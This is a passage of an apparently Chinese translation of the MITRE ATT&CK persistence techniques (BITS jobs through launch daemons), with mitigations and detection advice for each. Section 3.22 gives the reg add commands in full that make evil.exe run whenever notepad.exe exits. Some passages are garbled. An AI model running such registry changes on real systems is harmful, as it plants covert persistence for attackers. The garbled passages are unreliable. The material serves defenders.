监控注册表来查看是否有 LSA 注册表项的相关更改。监控 LSA 进程来查看是否有动态链接库加载行为。Windows 8.1 和 Windows Server 2012 R2 中，可能会在未签名的动态链接库尝试通过在注册表项 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe` 中设置 auditlevel=8 加载到 LSA 时生成事件。

# 3.8 BITS 作业

编号：T1197

技术：防御逃逸，持久化

平台：Windows

所需权限：用户，管理员，系统

数据源：API 监控，网络抓包，Windows 事件日志

| |
|---|
| 绕过的防御：防火墙，主机取证分析<br>贡献者：Ricardo Dias；Red Canary<br>版本：1.0 |

Windows BITS（后台智能传输服务）是一种通过 COM（组件对象模型）公开的低带宽异步文件传输机制。BITS 通常由更新程序、消息程序和其他希望在后台运行（使用可用空闲带宽）而不中断其他网络应用的程序使用。文件传输任务被实现为 BITS 作业，其中包含一个或多个文件操作队列。

可以通过 PowerShell 和 BITSAdmin 工具访问 BITS 作业创建和管理接口。

攻击者可能会在运行恶意代码后滥用 BITS 来实现下载、执行甚至清理动作。BITS 任务包含在 BITS 作业数据库中，不需创建新文件或修改注册表，且通常是主机防火墙允许的。启用 BITS 的执行还可以通过创建长期作业（默认最大生命周期为 90 天且可延长）或在作业完成或出现错误（包括系统重启后的错误）时调用任意程序来允许持久性。

BITS 上传功能也可用于执行 Exfiltration Over Alternative Protocol。

## 缓解

| 缓解措施 | 说明 |
|---|---|
| 网络流量过滤 | 修改网络和/或主机防火墙规则以及其他网络控制，仅允许合法的 BITS 流量。 |
| 操作系统配置 | 考虑缩短组策略中的默认 BITS 作业生命周期，或者编辑 `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS` 中的 `JobInactivityTimeout` 和 `MaxDownloadTime` 注册表值。 |
| 用户账号管理 | 考虑限制特定用户或组对 BITS 接口的访问。 |

## 检测

BITS 作为服务运行。可使用 Sc 查询实用程序（`sc query bits`）来检查其状态。可使用 BITSAdmin 工具（`bitsadmin /list /allusers /verbose`）枚举活跃的 BITS 任务。

监控 BITSAdmin 工具（尤其是 Transfer，Create，AddFile，SetNotifyFlags，SetNotifyCmdLine，SetMinRetryDelay，SetCustomHeaders 和 Resume 命令选项）的使用及 Windows 事件日志来查看 BITS 活动。还要考虑通过解析 BITS 作业数据库来调查作业相关的更多详细信息。

监控和分析 BITS 生成的网络活动。BITS 作业使用 HTTP（S）和 SMB 进行远程连接，仅限于创建用户，并且仅在该用户登录时才起作用（即使用户将作业附加到服务账号，此规则也适用）。

# 3.9 Bootkit

编号: T1067

技术： 持久化

平台： Linux, Windows

所需权限：管理员，系统

数据源： API 监控，MBR，VBR

版本： 1.0

BootKit 是一种恶意软件变体，用于修改硬盘驱动器的引导扇区，包括主引导记录（MBR）和卷引导记录（VBR）。

攻击者可能使用 bootkits 在操作系统下的某一层系统上持久化，这可能会使完全修复变得困难，除非使用了 organization suspects one 并且能正确的运行。

## 主引导记录

MBR 是在 BIOS 完成硬件初始化之后首先加载的磁盘部分。它是引导加载程序所在的位置。对引导驱动器具有原始访问权限的攻击者可能会重写此区域，从而在启动期间将执行从正常引导加载程序转移到攻击代码。

## 卷引导记录

MBR 将引导进程的控制权传递给 VBR。与 MBR 的情况类似，对引导驱动器具有原始访问权限的攻击者可能会重写 VBR，以便在启动期间将执行转移到攻击代码。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 引导完整性 | 使用受信任的平台模块技术和安全可信的引导过程以防止系统完整性受到损害。 |
| 特权账户管理 | 确保特权账户都拥有合适的权限，来阻止获取了特权账户的攻击者安装 bootkit。 |

## 检测

对 MBR 和 VBR 执行完整性检查。拍摄 MBR 和 VBR 的快照，并与已知的好样本进行比较。当 MBR 和 VBR 出现可疑行为与进一步分析指标时，记录他们的变化。

# 3.10 浏览器扩展

编号：T1176

技术：持久化

平台：Linux，macOS，Windows

所需权限：用户

数据源：网络协议分析，网络抓包，系统调用，网络进程使用，进程监控，浏览器扩展

贡献者：Justin Warner，ICEBRG

版本：1.0

浏览器扩展或插件是可以添加功能和自定义互联网浏览器特征的小程序。它们可以直接安装，也可以通过浏览器的应用商店安装。扩展程序通常对浏览器可以访问的所有内容都有访问权限。

恶意扩展程序可以伪装成合法扩展程序在应用商店下载、通过社交工程或已攻破系统的攻击者安装到浏览器中。浏览器应用商店的安全性可能受到限制，因此恶意扩展程序击败自动扫描程序并上传可能并不困难。一旦安装了扩展程序，它就可以在后台浏览到网站，窃取用户输入浏览器的所有信息，包括凭据，并用作 RAT 的安装程序以获得持久性。有僵尸网络通过恶意 Chrome 扩展程序使用持久后门的情况。也有类似的扩展程序用于命令与控制的情况。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 审核 | 确保安装的扩展程序是预期的，因为许多恶意扩展程序会伪装成合法程序。 |
| 执行预防 | 根据您的安全策略设置浏览器扩展程序白名单或黑名单。 |
| 软件安装限制 | 仅从可以验证的可信来源安装浏览器扩展程序。某些浏览器的扩展程序可以通过组策略进行控制。更改设置来防止浏览器在没有足够权限的情况下安装扩展程序。 |
| 用户培训 | 完成使用后关闭所有浏览器会话，防止任何潜在的恶意扩展程序继续运行。 |

检测

清点和监控与正常、预期及良性扩展程序不同的浏览器扩展程序的安装。进程和网络监控可用于检测与 C2 服务器通信的浏览器。然而，根据过程中生成的流量性质和数量来看，这种方式用于初始检测恶意扩展程序是困难的。监控写入注册表的任何新项目或写入磁盘的 PE 文件，因为这可能与浏览器扩展程序安装有关。

# 3.11 更改默认文件关联

编号：T1042

技术：持久化

平台：Windows

所需权限：用户，管理员，系统

数据源：Windows 注册表，进程监控，进程命令行参数

CAPEC 编号：CAPEC-556

贡献者：Stefan Kanthak；Travis Smith，Tripwire

版本：1.0

打开文件时，将检查用于打开文件的默认程序（也称为文件关联或处理程序）。文件关联选择存储在 Windows 注册表中，可以由有注册表访问权限的用户、管理员或程序编辑，也可以由管理员使用内置的关联实用程序编辑。应用程序可以修改给定文件扩展名的文件关联，以便在打开具有给定扩展名的文件时调用任意程序。

系统文件关联列在 `HKEY_CLASSES_ROOT.[extension]`中，例如 `HKEY_CLASSES_ROOT.txt`。这些条目指向位于 `HKEY_CLASSES_ROOT[handler]`的该扩展的处理程序。然后，在 `HKEY_CLASSES_ROOT[handler]\shell[action]\command` 的 shell 键下，将各种命令列为子键，例如 *`HKEY_CLASSES_ROOT\txtfile\shell\open\command`*`HKEY_CLASSES_ROOT\txtfile\shell\print\command`*`HKEY_CLASSES_ROOT\txtfile\shell\printto\command`。

所列键的值是处理程序打开文件扩展名时执行的命令。攻击者可以修改这些值来继续执行任意命令。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

收集并分析注册表项（将文件扩展名与默认应用程序相关联以执行）的更改，并与未知的进程启动活动或该进程的异常文件类型相关联。

用户文件关联首选项存储在 `[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts` 下，并覆盖在`[HKEY_CLASSES_ROOT]`下配置的关联。用户首选项更改会出现在此条目的子项下。

还要在异常进程调用树中查看是否有与发现操作或其他技术相关的其他命令的执行。

## 3.12 组件固件

编号: T1109

技术： 防御逃逸，持久化

平台： Windows

系统要求: 能够从主机操作系统更新组件固件。

所需权限： 系统

数据源： 磁盘取证，API 监控，进程监控，组件固件

绕过的防御： 文件监控、主机入侵防御系统、杀毒软件

版本： 1.0

一些攻击者可能会使用复杂的方法来破坏计算机组件，并安装恶意固件，这些固件将在操作系统和主系统固件或 BIOS 之外执行攻击代码。此技术可能类似于系统固件，但在其他系统组件上执行时可能具备不同的完整性检查能力或级别。恶意设备固件既可以提供对系统的持久访问，这会导致维护访问和硬盘重映像的典型故障，也可以提供逃避基于主机软件的防御和完整性检查的方法。

### 缓解

这种类型的攻击技术无法简单地通过预防性控制缓解，因为它基于系统特性的滥用。

### 检测

设备驱动程序使用的（比如进程和 api 调用）和/或 SMART（自监控、分析和报告技术）磁盘监控提供的数据和遥测可能会揭示组件的恶意操作。否则，由于恶意活动发生在系统组件上，可能超出操作系统安全性和完整性机制的权限，因此此技术可能难以检测。

磁盘检测工具可能会显示恶意固件的指标信息，例如字符串、意外的磁盘分区表条目，或者需要进一步调查的异常内存块。还可以考虑将组件（包括组件固件和行为的散列）与已知的良好镜像进行比较。

## 3.13 COM 劫持

编号：T1122

技术：防御逃逸，持久化

平台：Windows

所需权限：用户

数据源：Windows 注册表，动态链接库监控，已加载动态链接库

绕过的防御：Autoruns 分析

贡献者：ENDGAME

版本：1.0

COM（组件对象模型）是 Windows 中的一个系统，用于通过操作系统实现软件组件之间的交互。攻击者可能会使用此系统插入恶意代码，通过劫持 COM 引用和关系作为持久性手段来代替合法软件执行。劫持 COM 对象需要更改 Windows 注册表以替换对合法系统组件的引用，这可能导致该组件在执行时无法工作。当通过正常的系统操作执行该系统组件时，将执行的却是攻击者的代码。攻击者可能会劫持频繁使用的对象以保持一致的持久性，但不太可能破坏系统内的明显功能。破坏系统内明显功能会导致系统不稳定，会触发系统检测。

缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

检测

有机会通过搜索已被替换的注册表引用和通过注册表操作将已知二进制路径替换为未知路径来检测 COM 劫持。即使某些第三方应用定义了用户 COM 对象，但 HKEY_CURRENT_USER\Software\Classes\CLSID\ 中存在对象可能是不正常的，应进行调查，因为用户对象将在 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\中的机器对象之前加载。现有 COM 对象的注册表项可能不经常更改。当具有已知良好路径和二进制文件的条目被替换或此条目值被更改为异常值来指向新位置中的未知二进制文件时，则可能表示有可疑行为并应进行调查。同样，如果收集并分析了软件动态链接库加载，则任何与 COM 对象注册表修改相关的异常动态链接库加载都可能表示已发生了 COM 劫持。

# 3.14 创建账号

编号：T1136

技术：持久化

平台：Linux，macOS，Windows

所需权限：管理员

数据源：进程监控，进程命令行参数，认证日志，Windows 事件日志

版本：1.0

具有足够访问级别权限的攻击者可以创建本地系统或域账号。此类账号可用于持久性，不需要在系统上部署持久性远程访问工具。

可使用 `net user` 命令来创建本地或域账号。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 多因子认证 | 对用户和特权账号使用多因子认证。 |
| 网络分区 | 配置访问控制和防火墙来限制访问用于创建和管理账号的域控制器和系统。 |

| | |
|---|---|
| 操作系统配置 | 通过确保关键服务器的适当安全配置来保护域控制器。 |
| 特权账号管理 | 不允许将域管理员账号用于日常操作因为这些操作可能会将域管理员账号暴露给非特权系统上的潜在攻击者。 |

检测

收集网络内账号创建相关数据。在 Windows 系统和域控制器上创建用户账号时生成事件 4720。定期审核域和本地系统账号啦查看是否有攻击者创建了可疑账号。

## 3.15 DLL 搜索顺序劫持

编号：T1038

技术：持久化，权限升级，防御逃逸

平台：Windows

系统要求：能够添加动态链接库，清单文件或.local 文件、目录或连接

所需权限：用户，管理员，系统

有效权限：用户，管理员，系统

数据源：文件监控，动态链接库监控，进程监控，进程命令行参数

绕过的防御：进程白名单

CAPEC 编号：CAPEC-471

贡献者：Stefan Kanthak；Travis Smith，Tripwire

版本：1.0

Windows 系统使用常用方法来查找加载到程序中的必要的动态链接库。攻击者可能会利用 Windows 动态链接库搜索顺序以及模糊指定动态链接库的程序来获得权限提升和持久性。

攻击者可能会通过在 Windows 的合法动态链接库之前的搜索位置放置与模糊指定的动态链接库同名的恶意动态链接库来实现预加载，也称为二进制植入攻击。 通常，此位置是程序的当前工作目录。当程序在加载动态链接库之前将其当前目录设置为远程位置（如 web 共享）时，会发生远程动态链接库预加载攻击。攻击者的此行为会导致程序加载恶意动态链接库。

攻击者还可能会通过替换现有动态链接库或修改.manifest 或.local 重定向文件、目录或联结来直接修改程序加载动态链接库的方式，使得程序加载不同的动态链接库来维持持久性或获得权限提升。

如果搜索顺序易受攻击的程序配置为需更高权限级别运行，则加载的攻击者控制的动态链接库也将以更高级别执行。在这种情况下，该技术可用于从用户到管理员/系统或从管理员到系统的权限提升，具体取决于程序。

受路径劫持影响的程序的行为可能看起来是正常的，因为恶意动态链接库可能配置为加载它们要替换的合法动态链接库。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审核 | 使用审核工具来检测企业系统中动态链接库搜索顺序劫持情况并对检测到的情况进行纠正。像 PowerSploit 框架这样的工具包包含 PowerUp 模块，可用于探索系统中的动态链接库劫持漏洞。 |
| 执行预防 | 攻击者可能会使用新的动态链接库来实施此技术。使用能够阻止合法软件加载动态链接库的应用白名单解决方案来识别并阻止通过搜索顺序劫持执行的潜在恶意软件。 |
| 库加载限制 | 禁止加载远程动态链接库。默认情况下，这包含在 Windows Server 2012+中，也可以在 XP +和 Server 2003+上打补丁来获得。启用 Safe DLL Search Mode 来强制在搜索本地目录 (例如用户家目录) 之前先搜索具有更大限制的目录 (例如 `%SYSTEMROOT%`)。可以通过组策略在以下路径启用 Safe DLL Search Mode：配置 > [策略] > 管理模板 > MSS（旧版）：MSS：（SafeDllSearchMode）Enable Safe DLL search mode。相关的 Windows 注册表项位于 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode`。 |

检测

监控文件系统来查看是否有动态链接库移动，重命名，替换或修改行为。若进程加载的动态链接库集（与过去的行为相比）中的变化与已知软件、补丁等无关，则这些变化是可疑的。监控加载到进程中的动态链接库，并检测具有相同文件名但路径异常的动态链接库。修改或创建与软件更新无关的.manifest 和.local 重定向文件是可疑的。

# 3.16 Dylib 劫持

编号: T1157

技术： 持久化, 权限升级

平台： macOS

所需权限： 用户

有效权限: 管理员, root 用户

数据源： 文件监控

版本： 1.0

针对 macOS 和 OS X 操作系统，可以通过常规方式查询目标动态库，再根据获取的搜索路径加载到程序中。攻击者可以利用二义性植入动态库，从而获取特权提升或持久性。

一种常见的方法是查看应用程序使用的动态库，然后在搜索路径的上一级目录安装同名的恶意代码。这通常会导致恶意代码与应用程序本身位于同一文件夹中。

如果程序配置为以比当前用户更高的权限级别运行，那么当 dylib 加载到应用程序中时，dylib 也将在该高级别运行。 这可以被攻击者用作权限提升技术。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 限制文件和目录权限 | 在运行应用程序的文件夹和标准动态库文件夹中，设置目录访问控制以防止文件写入应用程序的搜索路径。 |
| 用户账户管理 | 防止用户将文件写入应用程序的搜索路径。 |

检测

Objective-See 动态库劫持扫描仪可用于检测动态库劫持的潜在案例。它可以监视文件系统中移动、重命名、替换或修改动态库，监测可疑的和已知的软件、补丁等不相关的进程加载中的动态库的集中更改（与过去的行为相比），并检查系统中是否有多个同名的动态库，以及监视历史上加载到进程中的版本。

# 3.17 外部远程服务

编号：T1133

技术：持久化，初始访问

平台：Windows

所需权限：用户

数据源：认证日志

贡献者：Daniel Oakley，Travis Smith，Tripwire

版本：2.0

VPN、Citrix 等远程服务以及其它访问机制允许用户从外部访问企业内部网络资源。通常有远程服务网关来管理这些服务连接和凭据认证。Windows 远程管理等服务也可以在外部使用。

攻击者可能会通过远程服务来初始访问网络和/或在网络中停留。通常，用户须使用有效账号才能访问服务。攻击者可能会通过凭据欺骗或入侵企业网络从用户侧获取凭据的方式来获得有效账号权限。在操作期间，对远程服务的访问可用作冗余访问的一部分。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 禁用或阻止可能不必要的远程可用服务。 |
| 网络资源访问限制 | 通过集中管理的集中器（如 VPN 和其他托管远程访问系统）来限制远程服务访问。 |
| 多因子认证 | 对远程服务账号使用双因子或多因子强认证，从而降低攻击者使用盗取凭据的能力。但请注意双因子认证实施中有时可能会有双因子认证拦截技术。 |
| 网络分区 | 通过网络代理、网关和防火墙拒绝直接远程访问内部系统。 |

检测

根据最佳实践检测攻击者使用有效账号来应对远程服务身份认证的行为。收集认证日志并分析异常访问模式，活动窗口以及正常工作时间之外的访问。

# 3.18 文件系统权限缺陷

编号：T1044

技术：持久化，权限升级

平台：Windows

所需权限：管理员，用户

有效权限：系统，用户，管理员

数据源：文件监控，服务，进程命令行参数

CAPEC 编号：CAPEC-17

贡献者：Stefan Kanthak；Travis Smith，Tripwire

版本：1.0

进程可能会自动执行其功能涉及到的特定二进制文件或执行其他操作。如果包含目标二进制文件的文件系统目录的权限或二进制文件本身的权限设置不正确，则目标二进制文件可能会被另一个使用用户级权限的二进制文件覆盖并由原始进程执行。如果原始进程和线程在更高的权限级别下运行，则替换的二进制文件也将在更高级别的权限下执行，这可能包括系统权限。

攻击者可能会使用此技术将合法二进制文件替换为恶意二进制文件，使用此手段在更高权限级别执行代码。如果配置执行进程在特定时间或在某个特定事件（例如，系统启动）期间运行，则该技术也可以用于获得持久性。

### 服务

操纵 Windows 服务二进制文件是此技术的一种变体。攻击者可能会用自己的可执行文件替换合法的服务可执行文件，以获得持久性和/或将权限升级到服务执行账号级别（本地/域账号，SYSTEM，LocalService 或 NetworkService）。 一旦服务启动，不管它是直接由用户启动（如果有适当访问权限）还是通过某些其他方式来启动（例如随系统重启而启动），则运行替换的可执行文件，而不是原始服务可执行文件。

### 可执行安装程序

此技术的另一个变体是利用可执行的自解压安装程序的常见缺陷。在安装过程中，安装程序通常使用`%TEMP%`目录中的子目录来解压缩二进制文件，例如动态链接库，EXE 或其他有效负载。安装程序在创建子目录和文件时，通常不会设置适当的权限来限制写访问，这就会允许执行子目录中的非信任代码或覆盖安装过程中使用的二进制文件。此行为与动态链接库搜索顺序劫持有关，并可能利用此劫持技术。某些安装程序可能还需要提升权限，这将导致在执行攻击者控制的代码时提升权限。此行为与绕过用户账号控制有关。已向软件供应商报告了现有通用安装程序中存在这种缺陷的几个例子。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审核 | 使用审核工具来检测企业系统中文件系统权限滥用情况并对检测到的情况进行纠正。像 PowerSploit 框架这样的工具包包含 PowerUp 模块，可用于探索系统中的服务文件系统权限缺陷。 |
| 用户账号控制 | 添加以下内容来关闭标准用户`[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]`的 UAC 权限提升功能、自动拒绝提升请求：`"ConsentPromptBehaviorUser"=dword:00000000`。考虑添加以下内容为所有用户启用安装程序检测功能：`"EnableInstallerDetection"=dword:00000001`。此功能启用后，会提示输入安装密码并记录尝试日志。如需禁用安装程序检测，请添加以下内容：`"EnableInstallerDetection"=dword:00000000`。这可能会防止攻击者在 UAC 检测安装程序时利用漏洞来提升权限，但是允许继续安装过程而且不记录日志。 |
| 用户账号管理 | 限制用户账号和组的权限，使得只有授权管理员才能与服务更改和服务二进制目标路径位置进行交互。拒绝从用户目录执行，例如文件下载目录和临时目录。 |

### 检测

查找通常在软件更新期间可能发生的二进制文件和服务可执行文件的更改。编写、重命名和/或移动可执行文件来匹配现有服务可执行文件的行为会被检测到并与其他可疑行为相关联。二进制文件和服务可执行文件的哈希可以用来检测历史数据的替换。

从典型进程和服务中查找异常进程调用树，并查看是否有与发现操作或其他攻击技术相关的其他命令的执行。

## 3.19 隐藏文件和目录

编号：T1158

技术：防御逃逸，持久化

平台：Linux，macOS，Windows

所需权限：用户

数据源：文件监控，进程监控，进程命令行参数

绕过的防御：主机取证分析

版本：1.0

为了防止普通用户意外更改系统上的特殊文件，大多数操作系统都有“隐藏文件”的概念。当用户使用 GUI 浏览文件系统或在命令行上使用普通命令时，这些文件不会显示。用户必须通过一系列 GUI 提示或命令行开关（Windows 的 `dir /a`，Linux 和 macOS 的 `ls -a`）明确要求才能显示隐藏的文件。

攻击者可能会利用这一点，将文件和文件夹隐藏在系统上的任何位置，从而获得持久性并规避不包含隐藏文件调查的典型用户或系统分析。

### Windows

用户可以使用 attrib.exe 二进制文件将特定文件标记为隐藏。他们只需使用 `attrib +h filename` 就可将文件或文件夹标记为隐藏。类似地，可以使用“+ s”将文件标记为系统文件，使用“+ r”将文件标记为只读。与大多数 Windows 二进制文件一样，attrib.exe 二进制文件提供了以递归方式（/ S）应用这些更改的能力。

### Linux/Mac

用户只需输入“.”作为文件名或文件夹名的第一个字符，就可以将特定文件标记为隐藏。默认情况下，以句点“.”开头的文件和文件夹在 Finder 应用和标准命令行实用程序（如“ls”）中不显示。用户必须专门更改设置才能查看这些文件。对于使用命令行的情况，通常可用一个标志来查看所有文件（包括隐藏的文件）。要在 Finder 应用中查看这些文件，必须执行 `defaults write com.apple.finder AppleShowAllFiles YES` 命令并重新启动 Finder 应用。

### Mac

MacOS 上的文件如果带 uf_hidden 标记，那么在 finder.app 中看不到文件，但在 terminal.app 中仍可以看到。许多应用程序使用隐藏文件和文件夹来存储信息，这样就不会使用户的工作区变得杂乱无章。例如，SSH 实用程序创建一个隐藏的.ssh 文件夹，用于存储用户的已知主机和密钥信息。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

监控文件系统和 shell 命令来查看是否有正在创建的文件名以“.”字符开头，以及是否有通过 Windows 命令行使用 attrib.exe 添加隐藏属性的情况。

## 3.20 Hook

| |
|---|
| 编号: T1179 |
| 技术： 持久化，权限升级，凭据访问 |
| 平台： Windows |
| 所需权限： 管理员，系统 |
| 数据源： API 监控，二进制文件元数据，动态链接库监控，加载的动态链接库，进程监控，Windows 事件日志 |
| 版本： 1.0 |

windows 进程通常利用应用程序编程接口（API）函数来执行需要可重用系统资源的任务。windows API 函数通常作为导出函数存储在动态链接库（DLLS）中。

Hook 包括将调用重定向到这些函数，可以通过：

- Hook 程序，它拦截并执行指定的代码以响应消息、按键和鼠标输入等事件。
- 导入地址表（IAT）Hook，它使用对进程 IAT 的修改，指向导入的 API 函数。
- 内联 Hook，重写 api 函数中的第一个字节以重定向码流

与进程注入类似，攻击者可以使用 Hook 在另一个进程的上下文中加载和执行恶意代码，屏蔽执行，同时还允许访问进程的内存，以及可能提升权限。通过正常调用函数，Hook 还可以利用连续的调用提供持久性。

恶意 Hook 还可能捕获 API 调用，这些调用包含用户验证凭据访问的参数。

Rootkits 通常使用 Hook 隐藏文件、进程、注册表项和其他对象，从而隐藏恶意软件及其相关行为。

### 缓解

这种类型的攻击技术是基于对系统功能的滥用，因此无法通过预防性控制轻松缓解。

### 检测

监视对钩子函数 SetWindowsHookEx 和 SetWinEventHook 的调用。还可以考虑使用工具或通过编程检查内核结构来分析钩子链（为每种钩子类型保存钩子过程的指针）。

Rootkits 检测器可用于监测各种类型的 Hook 活动，通过比较内存中的代码与对应的静态二进制代码，尤其是检查跳转和重定向码流，验证活动进程的完整性；还可以考虑制作新进程[1]的快照，由此比对内存中的 IAT 和引用函数的实际地址。

同时，分析进程行为，确定进程是否正在执行异于常规的操作，例如打开网络连接、读取文件以及与泄漏后行为相关的可疑操作。

## 3.21 管理程序

编号: T1062

技术： 持久化

平台： Windows

所需权限： 管理员，系统

数据源：系统调用

CAPEC 编号: CAPEC-552

版本： 1.0

Type-1 虚拟机管理程序是介于客户操作系统和系统硬件之间的软件层，它为操作系统提供了一个虚拟环境。一个常见的虚拟机管理程序的例子就是 Xen。Type-1 管理程序运行在操作系统的底层，并且可以通过 Rootkit 功能来设计，以便向客户操作系统隐藏它的存在。通过中断，这种性质的恶意管理程序会持续存在于系统中。

### 缓解

由于这种攻击技术是基于对系统特性的滥用，所以很难通过预防控制来减轻这种类型的攻击。

### 检测

Type-1 虚拟机管理程序能够通过执行时间分析被检测出来。虚拟机管理程序可以模拟特定的 CPU 指令，它们通常可以直接在硬件运行。如果一个指令耗时比在一个不包含虚拟机管理程序的正常系统上运行的时间多几个数量级，那表示可能存在一个虚拟机管理程序。

# 3.22 图像文件执行选项注入

编号: T1183

技术： 权限升级，持久化，防御逃逸

平台： Windows

所需权限： 管理员，系统

数据源： 进程监控，Windows 注册表，Windows 事件日志

绕过的防御: Autoruns Analysis

贡献者: Oddvar Moe, @oddvarmoe

版本： 1.0

图像文件执行选项能够让开发者把调试器附加到一个程序上。 当进程创建时，存在于图像文件执行选项上的调试器会被预置到程序名称前，并启动一个新的进程(比如, "C:\dbg\ntsd.exe -g notepad.exe")。

图像文件执行选项可以在注册表直接设置或者通过 GFlags 工具设为全局标记。图像文件执行选项作为调试参数值存在于以下注册表位置 `HKLM\SOFTWARE{{\Wow6432Node}}\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\`，其值对应一个可执行程序，并且被调试器附加上。

当特定的程序静默退出时，图像文件执行选项也能够启动任意监控程序(比如，当被自身或者另一个非内核级进程永久终止时)。类似于调试器，静默退出监控可以通过 GFlags 工具开启或者直接修改图像文件执行选项在注册表项中的配置 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SilentProcessExit\`。

比如：当 notepad.exe 退出时，evil.exe 进程会启动：

- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"`

类似于进程注入，这些值可能会被滥用以获得持久性和权限提升，因为它们会导致在计算机上不同进程的上下文中加载和运行恶意可执行文件。安装图像文件执行选项的方法还可能通过连续调用提供持久性存储。

恶意软件还可以通过注册无效的调试器来利用图像文件执行选项进行防御规避，这些调试器会转向并有效地禁用各种系统和安全应用程序。

缓解

由于这种攻击技术是基于系统功能的滥用，因此无法通过预防性控制来轻易缓解。

检测

监控在异常父进程下创建的正常进程，或者具有调试性的进程创建标识，比如 `DEBUG_PROCESS` 和 `DEBUG_ONLY_THIS_PROCESS`。
监控与安装图像文件执行选项有关联的注册表值，以及监控进程静默退出，还有与已知软件、补丁程序等不相关的修改。监视和分析与注册表编辑有关的应用程序编程接口（API）调用，比如 regcreatekeyex 和 regsetvalueex。

# 3.23 内核模块和扩展

编号： T1215

技术： 持久化

平台： Linux, macOS

所需权限： root 用户

数据源：系统调用，进程监控，进程命令行参数

贡献者: Jeremy Galloway; Red Canary

版本： 1.0

可加载内核模块（或 LKM）是可以根据需要加载和卸载到内核中的代码片段。 它们扩展了内核的功能，而无需重启系统。 例如，一种类型的模块是设备驱动程序，它允许内核访问连接到系统的硬件。当恶意使用时，可加载内核模块（LKM）可以是一种以最高操作系统权限运行的内核模式 Rootkit（Ring 0 攻击者可以使用可加载的内核模块隐藏在系统上并逃避防御。 发现了一些在野案例，并且还有开源项目。

基于 LKM 的 rootkit 的常见功能包括：隐藏自身，选择性隐藏文件，进程和网络活动，以及日志篡改，提供经过身份验证的后门以及对非特权用户启用 root 权限访问。

内核扩展（也称为 kext）用于 macOS 将功能加载到类似于 LKMs for Linux 的系统上。 它们通过 kextload 和 kextunload 命令加载和卸载。 已经发现了几个可以使用它的例子。发现了一些在野的例子。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 杀毒软件/反恶意软件 | 检测 Linux rootkit 的常用工具包括：rkhunter，chrootkit，rootkit 甚至可能被设计用来逃避某些检测工具。 |
| 执行预防 | 应用程序白名单和软件限制工具（如 SELinux）也可以帮助限制内核模块加载。 |
| 特权账户管理 | 限制对 root 帐户的访问，并通过适当的权限分离和限制提升权限的机会来阻止用户加载内核模块和扩展。 |

### 检测

LKM 通常加载到/lib/modules 中，并且自 Linux 内核版本 2.6 起具有扩展名.ko（“内核对象”）。
许多 LKM 需要 Linux 头文件（特定于目标内核）才能正确编译。 这些通常通过操作系统包管理器获得，并像普通包一样安装。
攻击者可能会在加载恶意模块之前在目标系统上运行这些命令，以确保它被正确编译。
在基于 Ubuntu 和 Debian 的系统上可以通过运行此命令来完成：`apt-get install linux-headers-$(uname -r)`
在 RHEL 和基于 CentOS 的系统上可以通过运行此命令来完成：`yum install kernel-devel-$(uname -r)`
可以通过监视以下命令来检测 Linux 系统上的加载，卸载和操作模块：`modprobe insmod lsmod rmmod modinfo`
对于 macOS，监视 kextload 命令的执行并与其他未知或可疑活动相关联。

# 3.24 启动代理

编号： T1159
技术： 持久化
平台： macOS
所需权限： 用户，管理员
数据源： 文件监控，进程监控
版本： 1.0

根据 Apple 的开发人员文档，当用户登录时，将启动一个按用户启动的进程，从以下目录：`/System/Library/LaunchAgent`、`/Library/LaunchAgents`、和

`$HOME/Library/LaunchAgents` 中找到属性列表 （plist） 文件，加载每个按需启动的用户代理的参数。这些启动代理指向将启动的可执行文件的属性列表文件。

对手可以安装一个新的启动代理，在登录时通过使用启动或启动 ctl 进行执行，将 plist 加载到适当的、可以使用相关操作系统或良性软件中的名称来伪装代理名称。启动代理是使用用户级权限创建的，并在用户登录时使用用户的权限执行。它们可以设置为在特定用户登录（在特定用户的目录结构中）或任何用户登录（需要管理员权限）时执行。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账户管理 | 限制用户使用组策略创建启动代理的能力. |

检测

通过其他 plist 文件和实用程序（如 Objective-see 的敲击操作应用程序）监视启动代理创建。启动代理还需要磁盘上的文件具备持久性，也可以通过其他文件监视应用程序。

# 3.25 启动守护进程

编号： T1160

技术： 持久化，权限升级

平台： macOS

所需权限： 管理员

有效权限: root 用户

数据源： 进程监控，文件监控

版本： 1.0

根据 Apple 的开发人员文档，当 macOS 和 OS X 启动时，启动将运行以完成系统初始化。此过程从 `/System/Library/LaunchDaemons` 和 `/Library/LaunchDaemons` 中找到的属性列表 （plist） 文件中加载每个按需启动系统级守护程序的参数。这些 LaunchDaemon 具有指向将启动的可执行文件的属性列表文件。

